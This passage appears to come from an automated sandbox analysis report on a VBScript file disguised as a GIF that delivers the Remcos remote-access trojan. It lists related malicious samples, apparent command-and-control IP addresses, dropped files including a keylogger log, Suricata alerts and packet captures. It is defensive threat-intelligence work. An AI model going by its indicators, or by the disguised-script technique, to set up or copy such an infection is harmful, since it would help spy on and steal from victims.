	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.101.142
ATOM86-ASATOM86NL	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	erthings.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	UD61dgs2rz.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	178.237.33.50
AS-COLOCROSSINGUS	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.101.142

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.013130376969173
Encrypted:	false
SSDEEP:	12:tklu+mnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkwV:qlu+KdVauKyGX85jvXhNlT3/7AcV9Wro
MD5:	F61E5CC20FBBA892FF93BFBFC9F41061
SHA1:	36CD25DFAD6D9BC98697518D8C2F5B7E12A5864E
SHA-256:	28B330BB74B512AFBD70418465EC04C52450513D3CC8609B08B293DBEC847568
SHA-512:	5B6AD2F42A82AC91491C594714638B1EDCA26D60A9932C96CBA229176E95CA3FD2079B68449F62CBFFFFCA5DA6F4E25B7B49AF8A8696C95A4F11C54BCF451933
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\Notepo\logs.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	3.3353212722345282
Encrypted:	false
SSDEEP:	3:rhlKlViNAUrlFi5JWRal2Jl+7R0DAlBG45klovDl6v:6lViNB25YcIeeDAlOWAv
MD5:	DB88D492AFD66B7CEA273522B9C0A99F
SHA1:	8B511299FA825FFA67069987C60AD6745BBDFA2D
SHA-256:	6934D7CE49920C223681E5B7DEDFF43E4686CAB0BCCFCBFCB13418F5ED89BFA6
SHA-512:	0D7F4471D5E623A07863D1B1CBDA7349CE73F26D181683EF74619DE5241B4C6B5180EFAE26A3344EE83AE7C92B6681B3FF95367A41C6469F6F878DF93CE43EB6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.7./.2.7. .0.7.:.3.0.:.0.4. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1rivt44j.yhz.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3q0gvrle.w22.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhvDE09.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe08c9441, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	20447232
Entropy (8bit):	1.2830244229655756
Encrypted:	false
SSDEEP:	12288:BRSPOhijljKhBfv6Dv26+555ckQB8WBbXnE:eii9vDd+
MD5:	055AE313AB942824682328B40617B1D8
SHA1:	5EA51ADF9852F7B82186245CB903111BC8552E72
SHA-256:	0B4A36F5771EF7528543447C76E0520BC83C412F95025A8CB11A9E719C5E4F8C
SHA-512:	CF6458BFA597BB6A10BADAA98014F24060F712DCF89CD71ABCAA6C8B60DF0A6E633126C38071F4B03E7A897F01602CE0E29E74C414FEE13566D62FEE71F51334
Malicious:	false
Preview:	...A... ........=......J}...0...{........................"..........{i......{..h.$..........................3.s.0...{..............................................................................................c...........eJ......n........................................................................................................... ............{...................................................................................................................................................................................................{;...................................U.....{....................x......{...........................#......h.$.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nkpfvnsml

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.584852358792161
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	screensimplethingstohandlecream.gIF.vbs
File size:	414'450 bytes
MD5:	91143de27aed4b3ae7741994bc065faa
SHA1:	85dfa644d5397b58383c94a4a898484a7fa5b8ce
SHA256:	63062215f38fde4985340ec9f4fb8746320d830be8e0c534ab3fbae7d3e89f29
SHA512:	e8cadd0faab189cf64253d2d7eaea5485224db55958a842917696f418e8f1d18349ed8f6f6bf1bc916d646e3baaa7e50c06f86094e30f30c619f3975473d22b2
SSDEEP:	3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA
TLSH:	B8948D1262FE5008B2B33F54A9FA52254A3BBEDADC79C54D068C5A5D0BE3940DC74BB3
File Content Preview:	..d.i.m. .m.o.r.u.l.a. .....m.o.r.u.l.a. .=. .r.o.m.p.e.n.t.e.....m.o.n.o.p.s.o.(.".g.a.n.d.u.m.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".m.u.c.u.n.h.a.m.b.a.m.b.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".x.a.j.a.".). .&. .m.o.r.u.l.a

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T13:30:06.136562+0200	TCP	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	49732	18576	192.168.2.4	192.3.101.142
2024-07-27T13:30:07.666925+0200	TCP	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	49733	18576	192.168.2.4	192.3.101.142
2024-07-27T13:30:57.538052+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49741	20.114.59.183	192.168.2.4
2024-07-27T13:30:03.723034+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	80	49730	198.46.176.133	192.168.2.4
2024-07-27T13:30:19.338921+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49735	20.114.59.183	192.168.2.4
2024-07-27T13:30:07.815303+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49734	80	192.168.2.4	178.237.33.50
2024-07-27T13:30:04.722143+0200	TCP	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	80	49731	192.3.176.154	192.168.2.4
2024-07-27T13:30:02.639346+0200	TCP	2047750	ET MALWARE Base64 Encoded MZ In Image	80	49730	198.46.176.133	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 13:30:01.590774059 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:01.595736027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:01.595840931 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:01.596431971 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:01.601279974 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.120834112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.120898008 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.120934010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121049881 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.121208906 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121242046 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121273041 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.121294022 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121330023 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121340036 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.121788025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121819973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121845007 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.121855021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.121906996 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.127259016 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.127464056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.127532005 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.210675955 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.210877895 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.210911989 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211045980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211077929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211091995 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.211124897 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.211355925 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211436033 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.211582899 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211615086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211669922 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.211878061 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211910963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.211966991 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.212167978 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.212373972 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.212408066 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.212430000 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.212660074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.212693930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.212714911 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.212973118 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.213026047 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.213166952 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.213202000 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.213253975 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.213521957 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.213556051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.213608980 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.213798046 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.213960886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.214020967 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.218770027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.260656118 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.303100109 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303134918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303178072 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.303272963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303289890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303333044 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.303565025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303679943 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303725004 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.303824902 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303857088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.303908110 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.304152012 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304280996 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304297924 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304328918 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.304653883 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304672956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304688931 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304702044 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.304703951 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304721117 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.304727077 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.304780960 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.305340052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.305357933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.305408955 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.305671930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.305687904 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.305704117 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.305731058 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.306123972 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306154966 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306170940 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306173086 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.306231976 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.306659937 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306675911 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306690931 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306706905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.306723118 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.306749105 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.307279110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.307296038 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.307346106 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.307598114 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.307614088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.307630062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.307653904 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.308089018 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.308104992 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.308139086 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.344266891 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.344312906 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.344321966 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.344329119 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.344377995 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.605665922 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.605690956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.605707884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.605840921 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.606168032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606183052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606198072 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606213093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606252909 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.606285095 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.606599092 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606612921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606627941 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606643915 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606657982 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.606661081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.606683969 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.606709003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.607459068 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.607475996 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.607491016 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.607506990 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.607515097 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.607522011 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.607538939 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.607553005 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.607603073 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.608350039 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.608372927 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.608387947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.608402967 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.608417034 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.608423948 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.608448982 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.609240055 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.609256029 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.609270096 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.609283924 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.609292030 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.609299898 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.609316111 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.609316111 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.609354019 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.610140085 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.610156059 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.610169888 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.610184908 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.610193014 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.610200882 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.610229015 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.610260010 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.611073971 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.611089945 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.611104012 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.611119986 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.611133099 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.611134052 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.611149073 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.611170053 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.611196041 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.612059116 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.612075090 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.612088919 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.612102985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.612117052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.612133980 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.612173080 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.612972021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.612987995 CEST	80	49730	198.46.176.133	192.168.2.4
